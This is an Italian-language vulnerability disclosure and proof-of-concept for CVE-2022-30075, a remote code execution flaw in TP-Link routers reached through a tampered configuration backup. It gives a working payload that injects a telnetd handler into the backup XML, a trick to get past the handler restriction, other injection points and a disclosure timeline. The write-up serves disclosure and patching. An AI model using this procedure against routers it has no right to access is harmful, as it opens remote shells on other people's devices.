CVE-2022-30075

Esecuzione remota di codice autenticata sui router Tp-Link

Dispositivi interessati

Se il tuo router Tp-Link dispone della funzionalità di backup e ripristino e il firmware è precedente a giugno 2022, probabilmente è vulnerabile

Testato con

Tp-Link Archer AX50, altri router tplink potrebbero utilizzare un formato diverso dei backup e l'exploit deve essere modificato

PoC

Utilizzo dell'exploit per avviare il demone telnet sul router

Sfruttamento manuale

1. accedi all'interfaccia web del router
2. vai su avanzate -> sistema -> impostazioni di backup
3. decripta e decomprimi il file di backup

• se il tuo router utilizza un formato diverso per i file di backup, puoi modificare il codice dell'exploit (classe BackupParser) o semplicemente usare uno strumento da github:
  https://github.com/stdnoerr/tp_link_credentials_harvester/blob/master/decrypt.py
  https://github.com/ret5et/tplink_backup_decrypt_2022.bin
  ...

4. nel file xml decriptato puoi trovare qualcosa del genere:

<button name="led_switch">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/lib/led_switch</handler>
</button>

• sostituiscilo con queste righe

<button name="exploit">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/usr/sbin/telnetd -l /bin/login.sh</handler>
</button>

• esiste una restrizione che blocca la modifica del parametro system.button.handler, ma può essere facilmente aggirata cambiando il nome del nodo xml padre (es. name="exploit")
• l'esecuzione di codice può essere ottenuta non solo modificando il parametro system.button.handler, ma anche usando ddns.service.ip_script, firewall.include.path, uhttpd.main e altri...

5. comprimi e crittografa il file di backup modificato
6. vai su avanzate -> sistema -> impostazioni di ripristino -> carica il file di backup modificato
7. dopo il riavvio, premi il pulsante led che attiva l'esecuzione del comando iniettato /usr/sbin/telnetd -l /bin/login.sh
8. accedi remotamente al router: telnet 192.168.1.1

Cronologia

15.03.2022 - Vulnerabilità identificata
15.03.2022 - Contattato il supporto Tp-Link
16.03.2022 - Ricevuta risposta da Tp-Link
02.05.2022 - Assegnato CVE
27.05.2022 - Tp-Link ha rilasciato un firmware con la vulnerabilità corretta
07.06.2022 - Pubblicati i dettagli tecnici